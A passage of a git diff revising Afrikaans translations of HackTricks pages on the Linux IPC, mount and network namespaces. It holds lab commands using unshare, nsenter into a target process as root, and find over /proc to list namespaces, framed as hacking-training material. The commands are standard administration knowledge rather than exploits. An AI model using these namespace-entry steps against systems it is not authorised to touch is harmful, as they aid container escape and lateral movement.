1. Wanneer 'n nuwe IPC naamruimte geskep word, begin dit met 'n **heeltemal geïsoleerde stel van System V IPC-objekte**. Dit beteken dat prosesse wat in die nuwe IPC naamruimte loop nie toegang kan verkry tot of inmeng met die IPC-objekte in ander naamruimtes of die gasheerstelsel nie, per standaard.
|
||||
2. IPC-objekte wat binne 'n naamruimte geskep word, is sigbaar en **slegs toeganklik vir prosesse binne daardie naamruimte**. Elke IPC-objek word geïdentifiseer deur 'n unieke sleutel binne sy naamruimte. Alhoewel die sleutel identies kan wees in verskillende naamruimtes, is die objekte self geïsoleer en kan nie oor naamruimtes toeganklik wees nie.
|
||||
3. Prosesse kan tussen naamruimtes beweeg deur die `setns()` stelselskakel of nuwe naamruimtes skep met die `unshare()` of `clone()` stelselskakels met die `CLONE_NEWIPC` vlag. Wanneer 'n proses na 'n nuwe naamruimte beweeg of een skep, sal dit begin om die IPC-objekte wat met daardie naamruimte geassosieer is, te gebruik.
|
||||
|
||||
## Laboratorium:
|
||||
|
||||
|
@ -32,27 +34,27 @@ Ander maniere om HackTricks te ondersteun:
|
|||
```bash
|
||||
sudo unshare -i [--mount-proc] /bin/bash
|
||||
```
|
||||
Deur 'n nuwe instansie van die `/proc`-lêersisteem te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe berg-namespace 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie namespace** het.
|
||||
Deur 'n nuwe instansie van die `/proc` lêerstelsel te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe monteernaamruimte 'n **akkurate en geïsoleerde weergawe van die prosesinligting spesifiek vir daardie naamruimte** het.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Fout: bash: fork: Kan nie geheue toewys nie</summary>
|
||||
|
||||
Wanneer `unshare` uitgevoer word sonder die `-f`-opsie, word 'n fout aangetref as gevolg van die manier waarop Linux nuwe PID (Proses-ID) namespaces hanteer. Die sleutelbesonderhede en die oplossing word hieronder uiteengesit:
|
||||
Wanneer `unshare` sonder die `-f` opsie uitgevoer word, word 'n fout ondervind weens die manier waarop Linux nuwe PID (Proses ID) naamruimtes hanteer. Die sleutelbesonderhede en die oplossing word hieronder uiteengesit:
|
||||
|
||||
1. **Probleemverduideliking**:
|
||||
- Die Linux-kernel maak dit moontlik vir 'n proses om nuwe namespaces te skep deur die `unshare`-sisteemaanroep te gebruik. Die proses wat die skepping van 'n nuwe PID-namespace inisieer (bekend as die "unshare"-proses) betree egter nie die nuwe namespace nie; slegs sy kinderprosesse doen dit.
|
||||
- Die uitvoering van `%unshare -p /bin/bash%` begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kinderprosesse in die oorspronklike PID-namespace.
|
||||
- Die eerste kinderproses van `/bin/bash` in die nuwe namespace word PID 1. Wanneer hierdie proses afsluit, veroorsaak dit die skoonmaak van die namespace as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weesouerprosesse aan te neem. Die Linux-kernel sal dan PID-toekenning in daardie namespace deaktiveer.
|
||||
1. **Probleemverklaring**:
|
||||
- Die Linux-kern laat 'n proses toe om nuwe naamruimtes te skep met die `unshare` stelselaanroep. Die proses wat die skepping van 'n nuwe PID naamruimte inisieer (genoem die "unshare" proses) betree egter nie die nuwe naamruimte nie; slegs sy kindproses doen.
|
||||
- Die uitvoering van `%unshare -p /bin/bash%` begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kindproses in die oorspronklike PID naamruimte.
|
||||
- Die eerste kindproses van `/bin/bash` in die nuwe naamruimte word PID 1. Wanneer hierdie proses verlaat, aktiveer dit die opruiming van die naamruimte as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weeskindprosesse aan te neem. Die Linux-kern sal dan PID-toewysing in daardie naamruimte deaktiveer.
|
||||
|
||||
2. **Gevolg**:
|
||||
- Die afsluiting van PID 1 in 'n nuwe namespace lei tot die skoonmaak van die `PIDNS_HASH_ADDING`-vlag. Dit veroorsaak dat die `alloc_pid`-funksie nie 'n nuwe PID kan toeken by die skep van 'n nuwe proses nie, wat die "Kan nie geheue toewys nie" -fout veroorsaak.
|
||||
- Die uitgang van PID 1 in 'n nuwe naamruimte lei tot die opruiming van die `PIDNS_HASH_ADDING` vlag. Dit lei tot die `alloc_pid` funksie wat misluk om 'n nuwe PID toe te wys wanneer 'n nuwe proses geskep word, wat die "Kan nie geheue toewys nie" fout veroorsaak.
|
||||
|
||||
3. **Oplossing**:
|
||||
- Die probleem kan opgelos word deur die `-f`-opsie saam met `unshare` te gebruik. Hierdie opsie maak `unshare` 'n nuwe proses na die skepping van die nuwe PID-namespace.
|
||||
- Deur `%unshare -fp /bin/bash%` uit te voer, verseker jy dat die `unshare`-opdrag self PID 1 in die nuwe namespace word. `/bin/bash` en sy kinderprosesse word dan veilig binne hierdie nuwe namespace gehou, wat die voortydige afsluiting van PID 1 voorkom en normale PID-toekenning moontlik maak.
|
||||
- Die probleem kan opgelos word deur die `-f` opsie saam met `unshare` te gebruik. Hierdie opsie maak dat `unshare` 'n nuwe proses fork nadat die nuwe PID naamruimte geskep is.
|
||||
- Die uitvoering van `%unshare -fp /bin/bash%` verseker dat die `unshare` opdrag self PID 1 in die nuwe naamruimte word. `/bin/bash` en sy kindproses is dan veilig binne hierdie nuwe naamruimte, wat die voortydige uitgang van PID 1 voorkom en normale PID-toewysing toelaat.
|
||||
|
||||
Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe PID-namespace korrek onderhou, sodat `/bin/bash` en sy subprosesse kan werk sonder om die geheue-toewysingsfout te ondervind.
|
||||
Deur te verseker dat `unshare` met die `-f` vlag loop, word die nuwe PID naamruimte korrek gehandhaaf, wat toelaat dat `/bin/bash` en sy sub-prosesse kan werk sonder om die geheue toewysing fout te ondervind.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -60,25 +62,12 @@ Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe P
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Kyk watter namespace jou proses in is
|
||||
|
||||
Om te bepaal in watter namespace jou proses tans is, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
ls -l /proc/$$/ns/ipc
|
||||
```
|
||||
|
||||
Hier is die betekenis van die opdrag:
|
||||
|
||||
- `ls -l`: Gee 'n gedetailleerde lys van die spesifiseerde lêer.
|
||||
- `/proc/$$/ns/ipc`: Die pad na die IPC-namespace van die huidige proses.
|
||||
|
||||
As die uitset van die opdrag 'n simboliese skakel na 'n lêer in die `/proc`-sisteem is, beteken dit dat jou proses in daardie spesifieke namespace is.
|
||||
###  Kontroleer in watter naamruimte jou proses is
|
||||
```bash
|
||||
ls -l /proc/self/ns/ipc
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
|
||||
```
|
||||
### Vind alle IPC-ruimtes
|
||||
### Vind alle IPC-namespaces
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -86,17 +75,15 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null |
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### Betree binne 'n IPC-namespace
|
||||
|
||||
{% endcode %}
|
||||
|
||||
### Gaan binne 'n IPC-namespace in
|
||||
```bash
|
||||
nsenter -i TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Verder kan jy slegs **toegang verkry tot 'n ander proses-namespace as jy root is**. En jy kan **nie** **toegang kry tot 'n ander namespace sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/net`).
|
||||
Ook, jy kan slegs **in 'n ander prosesnaamruimte ingaan as jy root is**. En jy **kan nie** **ingaan** in 'n ander naamruimte **sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/net`).
|
||||
|
||||
### Skep IPC-voorwerp
|
||||
### Skep IPC objek
|
||||
```bash
|
||||
# Container
|
||||
sudo unshare -i /bin/bash
|
||||
|
@ -115,17 +102,19 @@ ipcs -m # Nothing is seen
|
|||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,61 +1,62 @@
|
|||
# Monteer Naamruimte
|
||||
# Mount Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
'n Monteer-naamruimte is 'n Linux-kernelkenmerk wat isolasie van die lêerstelsel-monteerpunte wat deur 'n groep prosesse gesien word, bied. Elke monteer-naamruimte het sy eie stel lêerstelsel-monteerpunte, en **veranderings aan die monteerpunte in een naamruimte beïnvloed nie ander naamruimtes nie**. Dit beteken dat prosesse wat in verskillende monteer-naamruimtes loop, verskillende sienings van die lêerstelsel-hierargie kan hê.
|
||||
'n Mount namespace is 'n Linux-kernfunksie wat isolasie van die lêerstelsel mount punte bied wat deur 'n groep prosesse gesien word. Elke mount namespace het sy eie stel lêerstelsel mount punte, en **veranderinge aan die mount punte in een namespace beïnvloed nie ander namespaces nie**. Dit beteken dat prosesse wat in verskillende mount namespaces loop, verskillende uitsigte van die lêerstelsel hiërargie kan hê.
|
||||
|
||||
Monteer-naamruimtes is veral nuttig in konteinerisering, waar elke konteiner sy eie lêerstelsel en konfigurasie moet hê, geïsoleer van ander konteinere en die gasheerstelsel.
|
||||
Mount namespaces is veral nuttig in containerisering, waar elke container sy eie lêerstelsel en konfigurasie moet hê, geïsoleer van ander containers en die gasheerstelsel.
|
||||
|
||||
### Hoe dit werk:
|
||||
|
||||
1. Wanneer 'n nuwe monteer-naamruimte geskep word, word dit geïnisialiseer met 'n **kopie van die monteerpunte van sy ouer-naamruimte**. Dit beteken dat, by skepping, die nuwe naamruimte dieselfde siening van die lêerstelsel deel as sy ouer. Tog sal enige volgende veranderinge aan die monteerpunte binne die naamruimte nie die ouer of ander naamruimtes beïnvloed nie.
|
||||
2. Wanneer 'n proses 'n monteerpunt binne sy naamruimte wysig, soos die monteer of ontmonteer van 'n lêerstelsel, is die **verandering plaaslik in daardie naamruimte** en beïnvloed dit nie ander naamruimtes nie. Dit maak dit moontlik dat elke naamruimte sy eie onafhanklike lêerstelsel-hierargie het.
|
||||
3. Prosesse kan tussen naamruimtes beweeg deur die `setns()`-sisteemaanroep te gebruik, of nuwe naamruimtes skep deur die `unshare()`- of `clone()`-sisteemaanroep met die `CLONE_NEWNS`-vlag te gebruik. Wanneer 'n proses na 'n nuwe naamruimte beweeg of een skep, sal dit begin om die monteerpunte wat met daardie naamruimte geassosieer word, te gebruik.
|
||||
4. **Lêerbeskrywers en inodes word oor naamruimtes gedeel**, wat beteken dat as 'n proses in een naamruimte 'n oop lêerbeskrywer het wat na 'n lêer wys, kan dit **daardie lêerbeskrywer** aan 'n proses in 'n ander naamruimte oordra, en **beide prosesse sal toegang tot dieselfde lêer hê**. Die lêer se pad mag egter nie dieselfde wees in beide naamruimtes as gevolg van verskille in monteerpunte nie.
|
||||
1. Wanneer 'n nuwe mount namespace geskep word, word dit geïnitialiseer met 'n **kopie van die mount punte van sy ouer namespace**. Dit beteken dat, by skepping, die nuwe namespace dieselfde uitsig van die lêerstelsel as sy ouer deel. egter, enige daaropvolgende veranderinge aan die mount punte binne die namespace sal nie die ouer of ander namespaces beïnvloed nie.
|
||||
2. Wanneer 'n proses 'n mount punt binne sy namespace wysig, soos om 'n lêerstelsel te monteer of te demonteer, is die **verandering plaaslik tot daardie namespace** en beïnvloed nie ander namespaces nie. Dit laat elke namespace toe om sy eie onafhanklike lêerstelsel hiërargie te hê.
|
||||
3. Prosesse kan tussen namespaces beweeg deur die `setns()` stelselskakel te gebruik, of nuwe namespaces te skep met die `unshare()` of `clone()` stelselskakels met die `CLONE_NEWNS` vlag. Wanneer 'n proses na 'n nuwe namespace beweeg of een skep, sal dit begin om die mount punte wat met daardie namespace geassosieer is, te gebruik.
|
||||
4. **Lêerdescriptors en inodes word oor namespaces gedeel**, wat beteken dat as 'n proses in een namespace 'n oop lêerdescriptor het wat na 'n lêer wys, dit daardie lêerdescriptor aan 'n proses in 'n ander namespace kan **oorgee**, en **albei prosesse sal dieselfde lêer toegang**. egter, die lêer se pad mag nie dieselfde wees in beide namespaces nie weens verskille in mount punte.
|
||||
|
||||
## Laboratorium:
|
||||
|
||||
### Skep verskillende Naamruimtes
|
||||
### Skep verskillende Namespaces
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -m [--mount-proc] /bin/bash
|
||||
```
|
||||
Deur 'n nuwe instansie van die `/proc`-lêersisteem te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe berg-namespace 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie namespace** het.
|
||||
Deur 'n nuwe instansie van die `/proc` lêerstelsel te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe monteernaamruimte 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie naamruimte** het.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Fout: bash: fork: Kan nie geheue toewys nie</summary>
|
||||
|
||||
Wanneer `unshare` uitgevoer word sonder die `-f`-opsie, word 'n fout aangetref as gevolg van die manier waarop Linux nuwe PID (Proses-ID)-namespaces hanteer. Die sleuteldetails en die oplossing word hieronder uiteengesit:
|
||||
Wanneer `unshare` sonder die `-f` opsie uitgevoer word, word 'n fout ondervind weens die manier waarop Linux nuwe PID (Proses ID) naamruimtes hanteer. Die sleutelbesonderhede en die oplossing word hieronder uiteengesit:
|
||||
|
||||
1. **Probleemverduideliking**:
|
||||
- Die Linux-kernel maak dit moontlik vir 'n proses om nuwe namespaces te skep deur die `unshare`-sisteemaanroep te gebruik. Die proses wat die skepping van 'n nuwe PID-namespace inisieer (bekend as die "unshare"-proses) betree egter nie die nuwe namespace nie; slegs sy kinderprosesse doen dit.
|
||||
- Die uitvoering van `%unshare -p /bin/bash%` begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kinderprosesse in die oorspronklike PID-namespace.
|
||||
- Die eerste kinderproses van `/bin/bash` in die nuwe namespace word PID 1. Wanneer hierdie proses afsluit, veroorsaak dit die skoonmaak van die namespace as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weesouerprosesse aan te neem. Die Linux-kernel sal dan PID-toekenning in daardie namespace deaktiveer.
|
||||
1. **Probleemverklaring**:
|
||||
- Die Linux-kern laat 'n proses toe om nuwe naamruimtes te skep met die `unshare` stelselaanroep. Die proses wat die skepping van 'n nuwe PID naamruimte inisieer (genoem die "unshare" proses) betree egter nie die nuwe naamruimte nie; slegs sy kindproses doen.
|
||||
- Om `%unshare -p /bin/bash%` te loop, begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kindproses in die oorspronklike PID naamruimte.
|
||||
- Die eerste kindproses van `/bin/bash` in die nuwe naamruimte word PID 1. Wanneer hierdie proses verlaat, aktiveer dit die opruiming van die naamruimte as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weesprosesse aan te neem. Die Linux-kern sal dan PID-toewysing in daardie naamruimte deaktiveer.
|
||||
|
||||
2. **Gevolg**:
|
||||
- Die afsluiting van PID 1 in 'n nuwe namespace lei tot die skoonmaak van die `PIDNS_HASH_ADDING`-vlag. Dit veroorsaak dat die `alloc_pid`-funksie misluk om 'n nuwe PID toe te ken wanneer 'n nuwe proses geskep word, wat die "Kan nie geheue toewys nie" -fout veroorsaak.
|
||||
- Die uitgang van PID 1 in 'n nuwe naamruimte lei tot die opruiming van die `PIDNS_HASH_ADDING` vlag. Dit lei tot die `alloc_pid` funksie wat misluk om 'n nuwe PID toe te wys wanneer 'n nuwe proses geskep word, wat die "Kan nie geheue toewys nie" fout produseer.
|
||||
|
||||
3. **Oplossing**:
|
||||
- Die probleem kan opgelos word deur die `-f`-opsie saam met `unshare` te gebruik. Hierdie opsie maak `unshare` 'n nuwe proses na die skepping van die nuwe PID-namespace.
|
||||
- Deur `%unshare -fp /bin/bash%` uit te voer, verseker jy dat die `unshare`-opdrag self PID 1 in die nuwe namespace word. `/bin/bash` en sy kinderprosesse word dan veilig binne hierdie nuwe namespace gehou, wat die voortydige afsluiting van PID 1 voorkom en normale PID-toekenning moontlik maak.
|
||||
- Die probleem kan opgelos word deur die `-f` opsie saam met `unshare` te gebruik. Hierdie opsie maak dat `unshare` 'n nuwe proses fork nadat die nuwe PID naamruimte geskep is.
|
||||
- Om `%unshare -fp /bin/bash%` uit te voer, verseker dat die `unshare` opdrag self PID 1 in die nuwe naamruimte word. `/bin/bash` en sy kindproses is dan veilig binne hierdie nuwe naamruimte, wat die voortydige uitgang van PID 1 voorkom en normale PID-toewysing toelaat.
|
||||
|
||||
Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe PID-namespace korrek onderhou, sodat `/bin/bash` en sy subprosesse kan werk sonder om die geheue-toewysingsfout te ondervind.
|
||||
Deur te verseker dat `unshare` met die `-f` vlag loop, word die nuwe PID naamruimte korrek gehandhaaf, wat toelaat dat `/bin/bash` en sy sub-prosesse kan werk sonder om die geheue toewysing fout te ondervind.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -63,20 +64,12 @@ Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe P
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Kyk watter namespace jou proses in is
|
||||
|
||||
Om te bepaal in watter namespace jou proses tans is, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
cat /proc/$$/mountinfo | grep "ns"
|
||||
```
|
||||
|
||||
Hierdie opdrag sal die `mountinfo`-lêer van jou huidige proses (`$$`) lees en die reëls filter wat die woord "ns" bevat. Die uitset sal die namespace-identifiseerders vir jou proses toon.
|
||||
###  Kontroleer in watter naamruimte jou proses is
|
||||
```bash
|
||||
ls -l /proc/self/ns/mnt
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
|
||||
```
|
||||
### Vind alle Monteer-ruimtes
|
||||
### Vind alle Mount namespaces
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -84,17 +77,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null |
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### Betree binne 'n Monteer-namespace
|
||||
|
||||
{% endcode %}
|
||||
|
||||
### Gaan binne 'n Mount naamruimte in
|
||||
```bash
|
||||
nsenter -m TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Verder kan jy slegs **toegang verkry tot 'n ander proses-namespace as jy root is**. En jy kan **nie** **toegang verkry** tot 'n ander namespace **sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/mnt`).
|
||||
Ook, jy kan slegs **in 'n ander prosesnaamruimte ingaan as jy root is**. En jy **kan nie** **ingaan** in 'n ander naamruimte **sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/mnt`).
|
||||
|
||||
Omdat nuwe bergings slegs binne die namespace toeganklik is, is dit moontlik dat 'n namespace sensitiewe inligting bevat wat slegs daarvandaan toeganklik is.
|
||||
Omdat nuwe monte slegs binne die naamruimte toeganklik is, is dit moontlik dat 'n naamruimte sensitiewe inligting bevat wat slegs vanaf dit toeganklik is.
|
||||
|
||||
### Monteer iets
|
||||
```bash
|
||||
|
@ -114,16 +105,17 @@ ls /tmp/mount_ns_example/test # Doesn't exist
|
|||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Kyk na die [**intekening planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,61 @@
|
|||
# Netwerk-namespace
|
||||
# Netwerk Naamruimte
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
